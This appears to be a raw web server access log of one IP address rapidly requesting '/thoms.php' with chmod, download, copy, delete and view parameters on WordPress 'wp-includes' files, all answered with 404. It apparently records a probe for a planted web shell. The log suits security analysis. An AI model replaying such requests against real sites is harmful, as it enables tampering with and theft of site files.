45.135.193.11 - - [11/Sep/2026:23:58:35 -0400] "GET /thoms.php?chmod=class-wp-xmlrpc-server.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-xmlrpc-server.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=bookmark.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=bookmark.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?dl=class-wp-recovery-mode.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fvars.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fvars.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?del=class-wp-error.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-error.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?chmod=class-wp-filter-sentinel.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-filter-sentinel.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fstyle-engine HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fstyle-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?chmod=ai-client&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ai-client&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcategory.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcategory.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?dl=class-wp-block-parser-block.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-block.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?chmod=class-wp-block-styles-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-styles-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?chmod=class-wp-oembed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?del=default-filters.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=default-filters.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=deprecated.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?del=ms-default-filters.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-default-filters.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:36 -0400] "GET /thoms.php?chmod=ms-settings.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-settings.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fpomo HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fpomo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?dl=class-wp-block-supports.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-supports.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?chmod=class-wp-http-ixr-client.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-ixr-client.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=pluggable.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=pluggable.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?chmod=registration.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=registration.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?dl=theme.json&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme.json&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?chmod=class-wp-hook.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-hook.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?dl=class-wp-post-type.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-post-type.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?chmod=connectors.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=connectors.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?chmod=fonts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=fonts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?del=post-thumbnail-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-thumbnail-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=abilities-api.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=abilities-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?del=class-wp-application-passwords.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-application-passwords.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:37 -0400] "GET /thoms.php?dl=class-wp-icons-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-icons-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftemplate.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftemplate.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?chmod=class-wp-block-parser-block.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-block.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?dl=class-wp-duotone.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-duotone.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?dl=class-wp-http-cookie.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-cookie.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?dl=functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=version.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=version.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fphp-ai-client HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fphp-ai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?chmod=class-wp-http-cookie.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-cookie.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=robots-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=robots-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=view-transitions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=view-transitions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?dl=widgets.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fbuild&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fbuild&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-settings.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-settings.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:38 -0400] "GET /thoms.php?dl=session.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=session.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?chmod=theme-previews.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-previews.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?del=theme-previews.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-previews.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?del=vars.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=vars.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?del=class-wp-block-templates-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-templates-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?chmod=class-wp-post-type.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post-type.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?dl=link-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?dl=class-wp-user-request.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-request.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?dl=ms-load.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-load.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?del=template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:39 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=block-template-utils.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=block-template-utils.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:40 -0400] "GET /thoms.php?dl=admin-bar.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-bar.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
